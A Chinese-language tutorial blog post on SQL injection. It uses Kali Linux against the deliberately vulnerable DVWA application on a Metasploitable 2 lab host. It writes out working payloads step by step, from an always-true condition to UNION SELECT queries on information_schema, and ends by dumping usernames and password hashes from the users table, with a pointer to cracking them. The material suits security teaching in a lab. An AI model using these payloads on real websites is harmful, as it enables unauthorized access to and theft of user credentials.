2024年3月7日 星期四

Web 上的 SQL Injection 手法

學習目標
  • 在 Kali Linux 上,進行網站的 SQL Injection 滲透攻擊。
  • Kali Linux 作業系統的安裝,請參考這一篇內容
  • 利用 Metasploitable 2 擔任被攻擊主機,架設方式請參考這一篇內容

重要步驟
  1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
  2. 使用 Terminal,先進行系統更新的動作:
    $ sudo apt update
    $ sudo apt upgrade
    $ sudo apt dist-upgrade
    
  3. 開啟 Firefox ,登入 Metasploitable 2 主機的 DVWA 站台(帳密:admin / password)
  4. 先選擇低等級的安全設定,以利練習。之後,若熟悉 SQL 語法之後,再進行調成中、高等 

  5. 選擇 SQL Injection

  6. 在 User ID: 下方欄位,輸入下列指令並按下送出:
     1' or '1 = 1
    

  7. 由以上輸出,可以了解幾件事:
    1. 該資料庫沒有防 SQL Injection 的機制
    2. 輸出的資料欄位共有兩個欄位,應該可以稍加利用
  8. 兩次進行測試,利用 try and error 方式,查探是哪一種資料庫:
     1' or show databases#
    

    PS:由錯誤訊息中,了解其背後的資料庫是 MySQL
  9. 使用 MySQL 專用的 information_schema 資料庫,查探資料庫名稱:
     1' UNION SELECT 1, database() from information_schema.schemata#
    

    PS:明顯發現資料庫名稱是 dvwa
  10. 接下來,可開始抽絲剝繭,查看 dvwa 資料庫內有何資料表:
     1' UNION SELECT 1, table_name from information_schema.tables where table_schema='dvwa'#
    

    PS:共有兩張表格可以查看。其中的 users 表格,可能藏有使用者個資。
  11. 再進一步針對有興趣的資料表 users ,進行欄位資料的查詢:
     1' UNION SELECT 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
    

    PS:顯然最後三個欄位 user, password, avatar 是令人有興趣取得的資料
  12. 再進一步將有興趣的欄位資料內容,列出來:
     1' UNION SELECT 1,group_concat(user,0x3a,password,0x3a,avatar) from users#
    

    PS:帳號密碼與照片的連結均露出,可再進一步進行密碼的破譯。
參考文獻: